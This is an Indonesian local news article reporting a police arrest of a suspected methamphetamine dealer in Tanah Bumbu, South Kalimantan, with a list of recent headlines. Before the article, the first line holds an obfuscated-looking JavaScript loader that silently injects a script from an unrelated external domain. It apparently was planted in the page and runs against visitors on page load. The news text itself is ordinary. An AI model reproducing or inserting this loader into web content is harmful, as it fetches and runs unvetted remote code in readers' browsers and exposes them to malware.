(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Pengedar Sabu di Desa Sari Gadung Ditangkap Satresnarkoba Polres Tanah Bumbu


KANALKALIMANTAN.COM, BATULICIN – Satuan Reserse Narkoba (Satresnarkoba) Polres Tanah Bumbu kembali membekuk seorang diduga pengedar sabu, pada Selasa (24/5/2022) siang. Pelaku berinisial AK (24), merupakan warga Desa Mudalang, Kecamatan Kusan Hilir, Kabupaten Tanah Bumbu.

Kapolres Tanah Bumbu AKBP Tri Hambodo SIK melalui Kasi Humas AKP H Iberahim Made Rasa didampingi Kasat Narkoba Iptu A Deny Juniansyah membenarkan penangkapan pelaku narkoba tersebut.

“Anggota Satresnarkoba berhasil mengamankan seorang pelaku yang diduga sebagai pengedar narkotika berjenis sabu di sebuah rumah Jalan Transmigrasi km 6 Desa Sarigadung Kecamatan Simpang Empat, Kabupaten Tanah Bumbu,” paparnya.

Penangkapan pelaku ini berkat kerjasama dan informasi dari masyarakat setempat bahwa sering terjadi penyalahgunaan narkoba di Desa Sari Gadung.

 

Baca juga  : Pengurus MUI Balangan 2021-2026 Dikukuhkan

Menindak lanjuti informasi masyarakat tersebut, polisi melakukan penyelidikan dan setelah mendapatkan kepastian lalu melakukan penangkapan terhadap pelaku tersebut.

Saat penggerebekan dan penggeledahan terhadap pelaku, polisi mendapati barang bukti berupa 7 paket sabu seberat 16,43 gram, 1 bungkus plastik klip, 1 sendok sabu, 1 unit HP Vivo warna hitam, 1 HP Oppo warna biru, 1 buah pipet kaca, 1 bong terbuat dari kaca, dan 1 timbangan digital.

Pada saat dilakukan penangkapan pelaku tidak berkutik dan pelaku sudah mengakui bahwa semua barang tersebut memang benar adalah miliknya.

Kini pelaku bersama barang bukti sudah diamankan dibalik jeruji besi rumah tahanan negara polres tanah bumbu guna proses penyidikan lebih lanjut.

“Akibat ulahnya, AK dijerat dengan pasal 114 ayat 2 UU Nomor 35 tentang Narkotika dan subsider Pasal 112 Ayat 2, dengan ancaman hukuman minimal enam tahun penjara hingga 20 tahun,” tutup H Iberahim Made Rasa. (kanalkalimantan.com/ftr)

Reporter : ftr
Editor : cell


Desy Arfianty

Recent Posts

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

31 menit ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

5 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

6 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

21 jam ago

Ikmaban Salurkan Bantuan Banjir di Desa Pejambuan

KANALKALIMANTAN.COM, MARTAPURA - Ikatan Mahasiswa Banjarmasin (Ikmaban) menyalurkan bantuan kepada warga terdampak banjir di Desa… Read More

1 hari ago

Pemko Banjarmasin Janjikan Normalisasi Aliran Sungai Gampa

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob atau banjir pasang pesisir yang melanda kawasan Sungai Gampa, Kelurahan… Read More

1 hari ago

This website uses cookies.